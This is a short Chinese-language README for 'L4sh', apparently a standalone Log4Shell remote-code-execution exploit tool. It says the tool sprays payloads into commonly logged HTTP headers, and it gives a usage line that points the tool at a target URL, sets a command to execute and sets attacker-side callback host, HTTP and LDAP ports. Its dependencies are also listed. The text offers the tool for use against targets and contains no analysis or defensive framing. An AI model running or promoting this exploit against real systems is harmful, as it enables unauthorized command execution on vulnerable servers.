L4sh

Log4Shell RCE 漏洞利用

完全独立的漏洞利用程序，不需要任何第三方二进制文件。 该漏洞利用程序会将有效载荷喷洒到所有可能被记录的 HTTP 标头，例如 X-Forwarding , Server-IP , User-Agent

使用方法

python main.py -i lhost -u http://target:targetport -c "command_to_execute" -p lhttp_port -l lldap_port

依赖要求

• java-8-openjdk
• pip install -r requirements.txt
• python3.6+